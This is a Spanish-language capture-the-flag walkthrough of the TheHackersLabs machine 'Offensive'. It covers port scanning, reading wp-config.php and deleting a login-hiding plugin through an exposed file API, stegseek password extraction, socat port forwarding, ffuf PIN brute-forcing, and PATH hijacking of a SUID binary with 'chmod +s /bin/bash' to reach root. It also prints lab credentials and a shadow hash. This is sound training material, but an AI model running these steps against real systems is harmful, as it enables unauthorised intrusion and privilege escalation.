Offensive es una de las maquinas existentes actualmente en la plataforma de hacking Thehackerslabs y es de dificultad Profesional.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la ip que tiene la maquina a vulnerar, en mi caso será la 192.168.0.250
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
┌──(user㉿sec)-[~] └─$ nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.250 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-31 12:55 CET Initiating ARP Ping Scan at 12:55 Scanning 192.168.0.250 [1 port] Completed ARP Ping Scan at 12:55, 0.07s elapsed (1 total hosts) Initiating SYN Stealth Scan at 12:55 Scanning 192.168.0.250 [65535 ports] Discovered open port 8080/tcp on 192.168.0.250 Discovered open port 22/tcp on 192.168.0.250 Discovered open port 80/tcp on 192.168.0.250 Completed SYN Stealth Scan at 12:55, 0.46s elapsed (65535 total ports) Nmap scan report for 192.168.0.250 Host is up, received arp-response (0.000059s latency). Scanned at 2024-12-31 12:55:15 CET for 0s Not shown: 65531 closed tcp ports (reset), 1 filtered tcp port (port-unreach) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 8080/tcp open http-proxy syn-ack ttl 64 MAC Address: 08:00:27:26:E9:1A (Oracle VirtualBox virtual NIC) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.67 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, con nmap le pasamos el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
┌──(user㉿sec)-[~] └─$ nmap -sCV -p22,80,8080 192.168.0.250 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-31 12:56 CET Nmap scan report for 192.168.0.250 Host is up (0.00048s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0) | ssh-hostkey: | 256 07:83:87:c5:6d:c4:86:4c:3a:34:b7:63:10:57:07:c6 (ECDSA) |_ 256 35:c8:3d:64:01:ec:8a:c3:a0:12:92:5a:f4:df:6e:b6 (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-server-header: Apache/2.4.62 (Debian) |_http-generator: WordPress 6.7.1 |_http-title: rodgar 8080/tcp open http Node.js Express framework |_http-title: Error Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.75 seconds |
La web que vemos por el puerto 80 es lo siguiente, y viendo que nos da un virtualhost, lo añadimos a /etc/hosts.

Con wappalyzer que tenemos un wordpress pero confirmaremos con feroxbuster y también vemos un fichero un tanto curioso llamado wp-login.jpg
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
┌──(user㉿sec)-[~] └─$ feroxbuster --url http://offensive.thl -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://offensive.thl 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php, html, txt] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 9l 31w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 9l 28w 278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 301 GET 9l 28w 315c http://offensive.thl/images => http://offensive.thl/images/ 301 GET 0l 0w 0c http://offensive.thl/index.php => http://offensive.thl/ 301 GET 9l 28w 319c http://offensive.thl/wp-content => http://offensive.thl/wp-content/ 200 GET 15704l 21867w 1090766c http://offensive.thl/images/wp-login.jpg 200 GET 517l 2673w 92347c http://offensive.thl/wp-content/themes/gentlemens-club/assets/fonts/CourierPrime-Italic.ttf |
Confirmado wordpress, usamos wpscan para revisar plugins, usuarios, versiones,etc.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 |
┌──(user㉿sec)-[~] └─$ wpscan --url http://offensive.thl -e ap,u -P ~/rock _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.27 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: http://offensive.thl/ [192.168.0.250] [+] Started: Tue Dec 31 12:58:25 2024 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.62 (Debian) | Found By: Headers (Passive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://offensive.thl/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 6.7.1 identified (Latest, released on 2024-11-21). | Found By: Rss Generator (Passive Detection) | - http://offensive.thl/index.php/feed/, <generator>https://wordpress.org/?v=6.7.1</generator> | - http://offensive.thl/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.7.1</generator> [+] WordPress theme in use: gentlemens-club | Location: http://offensive.thl/wp-content/themes/gentlemens-club/ | Latest Version: 1.0.0 (up to date) | Last Updated: 2024-09-25T00:00:00.000Z | Readme: http://offensive.thl/wp-content/themes/gentlemens-club/readme.txt | [!] Directory listing is enabled | Style URL: http://offensive.thl/wp-content/themes/gentlemens-club/style.css | Style Name: Gentlemen's Club | Description: Theme with a simple design, extremely linear and clean. A space reserved for the private club. The p... | Author: masino1967 | | Found By: Urls In Homepage (Passive Detection) | | Version: 1.0.0 (80% confidence) | Found By: Style (Passive Detection) | - http://offensive.thl/wp-content/themes/gentlemens-club/style.css, Match: 'Version: 1.0.0' [+] Enumerating All Plugins (via Passive Methods) [i] No plugins Found. [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 <==============================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00 [i] User(s) Identified: [+] administrator | Found By: Rss Generator (Passive Detection) | Confirmed By: | Wp Json Api (Aggressive Detection) | - http://offensive.thl/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) [i] Could not find a login interface to perform the password attack against [i] No Valid Passwords Found. [!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register [+] Finished: Tue Dec 31 12:58:28 2024 [+] Requests Done: 13 [+] Cached Requests: 47 [+] Data Sent: 2.458 KB [+] Data Received: 3.742 KB [+] Memory used: 277.633 MB [+] Elapsed time: 00:00:02 |
Si nos damos cuenta en el output, nos da el mensaje «Could not find a login interface to perform the password attack against» es decir, no tiene acceso al login por lo que no puede intentar por fuerza bruta saber cual es la contraseña.
Probamos a ir al recurso http://offensive.thl/wp-admin y efectivamente nos redirije

Tenemos que tener claro que ciertos plugins, lo que hacen es «esconder» la pagina de login y esto puede ser una pista de por donde tenemos que ir.
Sin nada que mas ver por este puerto, cambiamos al 8080 que también vimos abierto:

Usamos feroxbuster de nuevo para ver qué nos encontramos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
┌──(user㉿sec)-[~] └─$ feroxbuster --url http://offensive.thl:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://offensive.thl:8080 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php, html, txt] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 10l 15w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 1l 17w 203c http://offensive.thl:8080/help 500 GET 1l 3w 31c http://offensive.thl:8080/cat 200 GET 1l 17w 203c http://offensive.thl:8080/Help 200 GET 1l 1w 176c http://offensive.thl:8080/ls 500 GET 1l 5w 45c http://offensive.thl:8080/rm 500 GET 1l 3w 31c http://offensive.thl:8080/Cat 500 GET 1l 5w 45c http://offensive.thl:8080/RM [#>------------------] - 15s 86365/882184 2m found:7 errors:0 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_offensive_thl:8080-1735673146.state ... [#>------------------] - 15s 86563/882184 2m found:7 errors:0 [#>------------------] - 15s 86424/882184 5806/s http://offensive.thl:8080/ |
Nos ha encontrado lo que aparentemente serian comandos de linux y una ayuda, la cual leemos:
|
1 2 3 4 5 6 7 8 9 10 |
┌──(user㉿sec)-[~] └─$ curl -s offensive.thl:8080/help |jq { "GET /ls": "ls?path= : List files.", "GET /download/:filename": "Download file.", "GET /cat": "cat?path= : Show file.", "GET /rm": "rm?path= : Delete file.", "GET /help": "Help.", "Restrictions": "Only /var/www." } |
Según lo que leemos, deberíamos de poder listar, descargar, abrir y borrar archivos pero sólo en el path /var/www :
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
┌──(user㉿sec)-[~] └─$ curl -s offensive.thl:8080/ls |jq '.' [ { "name": "html", "isDirectory": true, "size": 4096, "modified": "2024-12-20T12:14:28.195Z" }, { "name": "wordpress", "isDirectory": true, "size": 4096, "modified": "2024-12-31T13:11:55.142Z" } ] |
Leemos carpetas en el path que tenemos asignado! Jugaremos con jq para verlo de forma mas simple accediendo a wordpress
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
┌──(user㉿sec)-[~] └─$ curl -s offensive.thl:8080/ls?path=wordpress |jq '.[] | .name' ".tmb" "images" "index.php" "makehomepage" "sh3ll.php" "wp-activate.php" "wp-admin" "wp-blog-header.php" "wp-comments-post.php" "wp-config.php" "wp-content" "wp-cron.php" "wp-includes" "wp-links-opml.php" "wp-load.php" "wp-login.php" "wp-mail.php" "wp-settings.php" "wp-signup.php" "wp-trackback.php" |
Desde aquí podemos leer el archivo wp-config.php, posiblemente este un usuario y contraseña que podamos usar. Los anotamos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
┌──(user㉿sec)-[~] └─$ curl -s offensive.thl:8080/cat?path=wordpress/wp-config.php <?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the installation. * You don't have to use the website, you can copy this file to "wp-config.php" * and fill in the values. * * This file contains the following configurations: * * * Database settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/ * * @package WordPress */ // ** Database settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** Database username */ define( 'DB_USER', 'wp_user' ); /** Database password */ define( 'DB_PASSWORD', 'wpManoloPass' ); |
Seguimos con la idea que teníamos antes del plugin para la página de login, buscamos en el directorio wp-content/plugins
|
1 2 3 4 5 6 7 8 |
┌──(user㉿sec)-[~] └─$ curl -s offensive.thl:8080/ls?path=wordpress/wp-content/plugins |jq '.[] | .name' "akismet" "hello.php" "index.php" "wp-file-manager" "wpterm" "wps-hide-login" |
Viendo el ultimo plugin y como se llama, parece que puede ser el culpable de no poder acceder al login, buscamos en google y según vemos, cambia la url.

Si recordamos, también tenemos el comando rm, y si todo va bien, podemos borrar la carpeta del plugin y con esto conseguiremos que no se acceda, por lo que deberíamos de ver el login.
|
1 2 3 |
┌──(user㉿sec)-[~] └─$ curl -s offensive.thl:8080/rm?path=wordpress/wp-content/plugins/wps-hide-login {"message":"File or directory deleted successfully."} |

Probamos con las credenciales del fichero wp-config.php pero no son las correctas dado que el usuario que solo hemos encontrado es administrator, pero tampoco se ha reutilizado la contraseña, pero si recordamos en el primer escaneo es feroxbuster, vimos un fichero jpg un tanto curioso asi que accedemos.

Aparentemente no tiene nada, probamos a descargarla por si tiene algo en los metadatos o incrustado.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
┌──(user㉿sec)-[~] └─$ exiftool wp-login.jpg ExifTool Version Number : 12.76 File Name : wp-login.jpg Directory : . File Size : 648 kB File Modification Date/Time : 2024:12:31 20:58:36+01:00 File Access Date/Time : 2024:12:31 20:58:25+01:00 File Inode Change Date/Time : 2024:12:31 20:58:36+01:00 File Permissions : -rw-rw-r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : None X Resolution : 1 Y Resolution : 1 Image Width : 3840 Image Height : 2160 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1) Image Size : 3840x2160 Megapixels : 8.3 |
Le toca el turno a stegseek y encontramos un fichero con lo que posiblemente pueda ser la contaseña del usuario administrator
|
1 2 3 4 5 6 7 8 9 10 11 12 |
┌──(user㉿sec)-[~] └─$ stegseek wp-login.jpg StegSeek 0.6 - https://github.com/RickdeJager/StegSeek [i] Found passphrase: "bestfriend" [i] Original filename: "wp-login.txt". [i] Extracting to "wp-login.jpg.out". ┌──(user㉿sec)-[~] └─$ cat wp-login.jpg.out uFQ07kmjImx$)x9HHH3J3Sa5 |
Probamos con las credenciales y dentro!

Lo que ahora toca es tener una shell en el sistema y para ello, usaremos el plugin que también vimos, wptem, con el que deberiamos de poder enviarnos una reverse shell.


Viendo que procesos son los que hay corriendo, vamos el siguiente que además, el propietario es el unico usuario del sistema.
![]()
Pero este puerto no lo hemos visto desde fuera, podria que ser que iptables este bloqueandolo
|
1 2 3 4 5 6 7 8 9 10 |
bash-5.2$ cat /etc/iptables/rules.v4 # Generated by iptables-save v1.8.9 (nf_tables) on Thu Dec 26 05:47:24 2024 *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] -A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT -A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable COMMIT # Completed on Thu Dec 26 05:47:24 2024 |
Visto esto, usaremos socat para poder ver el puerto
|
1 |
bash-5.2$ socat TCP-LISTEN:9999,fork TCP:127.0.0.1:5000 & |
Ahora ya desde nuestra maquina podemos acceder a la web, pero parece que aunque el usuario y contraseña ya estan puestos, necesitaremos un pin de 4 digitos.

Nos crearemos un diccionario de todos los numeros desde el 0000 al 9999, posteriormente, usamos ffuf para encontrar el pin.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
┌──(user㉿sec)-[~] └─$ seq 0000 9999 > numbers ┌──(user㉿sec)-[~] └─$ ffuf -w numbers -u http://192.168.0.250:9999 -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "usuario=admin&password=disconnected&pin=FUZZ" -fr "Credenciales o PIN incorrectos." /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://192.168.0.250:9999 :: Wordlist : FUZZ: /home/user/numbers :: Header : Content-Type: application/x-www-form-urlencoded :: Data : usuario=admin&password=disconnected&pin=FUZZ :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Regexp: Credenciales o PIN incorrectos. ________________________________________________ 3333 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 34ms] :: Progress: [10000/10000] :: Job [1/1] :: 221 req/sec :: Duration: [0:00:10] :: Errors: 0 :: |
Conseguido el pin, ingresamos y vemos que podemos ejecutar comandos como el usuario maria, asi que nos mandamos una reverse shell.


Una vez conectados, si miramos el home del usuario vemos que tenemos un binario SUID como root.
|
1 2 3 4 5 6 7 8 9 10 |
bash-5.2$ ls -l total 104 -rwsr-xr-x 1 root root 16056 dic 26 10:22 app -rw-r--r-- 1 maria maria 67 dic 26 11:20 backup.txt -rw-r--r-- 1 maria maria 55646 dic 9 2021 GyMG.jpg -rwxr-xr-x 1 maria maria 19 dic 31 07:34 head -rw-r--r-- 1 maria maria 4629 dic 27 10:14 index.php -rw-r--r-- 1 maria maria 257 dic 25 18:46 logout.php -rw-r--r-- 1 maria maria 29 dic 31 05:35 user.txt -rw-r--r-- 1 maria maria 4721 dic 27 07:47 welcome.php |
Lo ejecutamos y miraremos con strings si hay algo que nos ayude.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
bash-5.2$ ./app [*] Mostrando las primeras 8 líneas del archivo /etc/shadow root:$y$j9T$2mXNTjVfEEjRt6t2uVu7k0$RBnftc111111J8DHVuo0LkG8UuuKR68CdazrjK2Rf8:20088:0:99999:7::: daemon:*:20066:0:99999:7::: bin:*:20066:0:99999:7::: sys:*:20066:0:99999:7::: sync:*:20066:0:99999:7::: games:*:20066:0:99999:7::: man:*:20066:0:99999:7::: lp:*:20066:0:99999:7::: [*] Mostrando las primeras 8 líneas del archivo /etc/shadow root:$y$j9T$2mXNTjVfEEjRt6t2uVu7k0$RBnftc111111J8DHVuo0LkG8UuuKR68CdazrjK2Rf8:20088:0:99999:7::: daemon:*:20066:0:99999:7::: bin:*:20066:0:99999:7::: sys:*:20066:0:99999:7::: sync:*:20066:0:99999:7::: games:*:20066:0:99999:7::: man:*:20066:0:99999:7::: lp:*:20066:0:99999:7::: |
Lo que parece que ejecuta con head las 8 primeras lineas, con strings vemos como lo hace, al parecer la primera ejecucion lo hace con un path absoluto pero el segundo NO por lo que puede ser vulnerable a path hijacking.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
bash-5.2$ strings app /lib64/ld-linux-x86-64.so.2 puts setuid system __libc_start_main __cxa_finalize libc.so.6 GLIBC_2.2.5 GLIBC_2.34 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable PTE1 u+UH [*] Mostrando las primeras 8 l neas del archivo /etc/shadow /usr/bin/head -n 8 /etc/shadow head -n 8 /etc/shadow |
Creamos un fichero llamado head, le damos permiso de ejecucion y le inyectamos el que se convierta en SUID el binario /bin/bash
|
1 2 3 |
bash-5.2$ echo 'chmod +s /bin/bash' > head bash-5.2$ chmod +x head bash-5.2$ export PATH=.:$PATH |
Si todo va bien, al ejecutar de nuevo el binario app, /bin/bash deberia de convertirse en SUID.
|
1 2 |
bash-5.2$ ls -l /bin/bash -rwsr-sr-x 1 root root 1265648 mar 29 2024 /bin/bash |
Y asi nos convertimos en root
|
1 2 |
bash-5.2# id uid=1001(maria) gid=1001(maria) euid=0(root) egid=0(root) grupos=0(root),1001(maria) |
Hasta aquí la maquina Offensive de la plataforma Thehackerslabs








